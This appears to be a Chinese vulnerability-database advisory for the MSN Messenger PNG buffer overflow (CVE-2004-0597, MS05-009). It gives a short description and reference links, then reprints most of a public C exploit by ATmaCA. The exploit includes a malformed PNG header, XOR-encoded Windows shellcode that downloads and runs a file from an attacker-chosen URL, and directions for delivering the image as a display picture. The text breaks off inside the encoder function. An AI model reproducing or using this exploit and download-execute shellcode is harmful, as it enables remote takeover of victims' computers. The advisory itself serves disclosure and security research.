Microsoft MSN Messenger PNG图片解析远程代码执…

发布日期：2005-02-08
更新日期：2005-02-13

受影响系统：

Microsoft MSN Messenger 6.2
Microsoft MSN Messenger 6.1
- Microsoft Windows XP Professional SP1
- Microsoft Windows XP Professional
- Microsoft Windows XP Home SP1
- Microsoft Windows XP Home
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows 98 SE
- Microsoft Windows 98
- Microsoft Windows 2000 Server SP4
- Microsoft Windows 2000 Server SP3
- Microsoft Windows 2000 Professional SP4
- Microsoft Windows 2000 Professional SP3
- Microsoft Windows 2000 Datacenter Server SP4
- Microsoft Windows 2000 Datacenter Server SP3
- Microsoft Windows 2000 Advanced Server SP4
- Microsoft Windows 2000 Advanced Server SP3

描述：

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CVE(CAN) ID: CVE-2004-0597

Windows MSN Messenger是一款即时通信软件。

Windows MSN Messenger在处理畸形PNG文件时存在问题，远程攻击者可以利用这个漏洞构建恶意PNG文件，诱使用户处理，可导致缓冲区溢出。

Windows MSN Messenger在处理破坏或畸形的PNG文件时存在问题，目标用户被打开后可能被攻击者完全控制系统。

<*来源：Carlos Sarraute

链接：http://www.coresecurity.com/common/showdoc.php?idx=421&idxseccion=10
http://www.microsoft.com/technet/security/bulletin/ms05-009.mspx
*>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Carlos Sarraute 提供了如下测试方法：

http://www.coresecurity.com/corelabs/advisories/msn-vulncheck.zip

ATmaCA提供了如下测试方法：

/*
*
* MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit (MS05-009)
* Bug discoveried by Core Security Technologies (www.coresecurity.com)
* Exploit coded By ATmaCA
* Copyright ?002-2005 AtmacaSoft Inc. All Rights Reserved.
* Web: http://www.atmacasoft.com
* E-Mail: atmaca@icqmail.com
* Credit to kozan and delikon
* Usage:exploit <OutputPath> <Url>
*
*/

/*
*
* Tested with MSN Messenger 6.2.0137
* This vulnerability can be exploited on Windows 2000 (all service
packs)
* and Windows XP (all service packs) that run vulnerable
* clients of MSN Messenger.
*
*/

/*
*
* After creating vuln png image, open
* MSN Messenger and select it as your display picture in
* "Tools->Change Display Picture".
*
*/


#include <stdio.h>
#include <stdlib.h>
#include <conio.h>
#include <string.h>


#ifdef __BORLANDC__
#include <mem.h>
#endif

#define NOP 0x90

char png_header[] =
"\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52"
"\x00\x00\x00\x40\x00\x00\x00\x40\x08\x03\x00\x00\x00\x9D\xB7\x81"
"\xEC\x00\x00\x01\xB9\x74\x52\x4E\x53";

char pngeof[] = "\x90\x90\x90\x59\xE8\x47\xFE\xFF\xFF";

/* Generic win32 http download shellcode
xored with 0x1d by delikon (http://delikon.de/) */
char shellcode[] = "\xEB"
"\x10\x58\x31\xC9\x66\x81\xE9\x22\xFF\x80\x30\x1D\x40\xE2\xFA\xEB\x05\xE8\xEB\xFF"
"\xFF\xFF\xF4\xD1\x1D\x1D\x1D\x42\xF5\x4B\x1D\x1D\x1D\x94\xDE\x4D\x75\x93\x53\x13"
"\xF1\xF5\x7D\x1D\x1D\x1D\x2C\xD4\x7B\xA4\x72\x73\x4C\x75\x68\x6F\x71\x70\x49\xE2"
"\xCD\x4D\x75\x2B\x07\x32\x6D\xF5\x5B\x1D\x1D\x1D\x2C\xD4\x4C\x4C\x90\x2A\x4B\x90"
"\x6A\x15\x4B\x4C\xE2\xCD\x4E\x75\x85\xE3\x97\x13\xF5\x30\x1D\x1D\x1D\x4C\x4A\xE2"
"\xCD\x2C\xD4\x54\xFF\xE3\x4E\x75\x63\xC5\xFF\x6E\xF5\x04\x1D\x1D\x1D\xE2\xCD\x48"
"\x4B\x79\xBC\x2D\x1D\x1D\x1D\x96\x5D\x11\x96\x6D\x01\xB0\x96\x75\x15\x94\xF5\x43"
"\x40\xDE\x4E\x48\x4B\x4A\x96\x71\x39\x05\x96\x58\x21\x96\x49\x18\x65\x1C\xF7\x96"
"\x57\x05\x96\x47\x3D\x1C\xF6\xFE\x28\x54\x96\x29\x96\x1C\xF3\x2C\xE2\xE1\x2C\xDD"
"\xB1\x25\xFD\x69\x1A\xDC\xD2\x10\x1C\xDA\xF6\xEF\x26\x61\x39\x09\x68\xFC\x96\x47"
"\x39\x1C\xF6\x7B\x96\x11\x56\x96\x47\x01\x1C\xF6\x96\x19\x96\x1C\xF5\xF4\x1F\x1D"
"\x1D\x1D\x2C\xDD\x94\xF7\x42\x43\x40\x46\xDE\xF5\x32\xE2\xE2\xE2\x70\x75\x75\x33"
"\x78\x65\x78\x1D";

FILE *di;
int i = 0;
short int weblength;
char *web;
char *pointer = NULL;
char *newshellcode;

/*xor cryptor*/
char *Sifrele(char *Name1)
{
char *Name=Name1;

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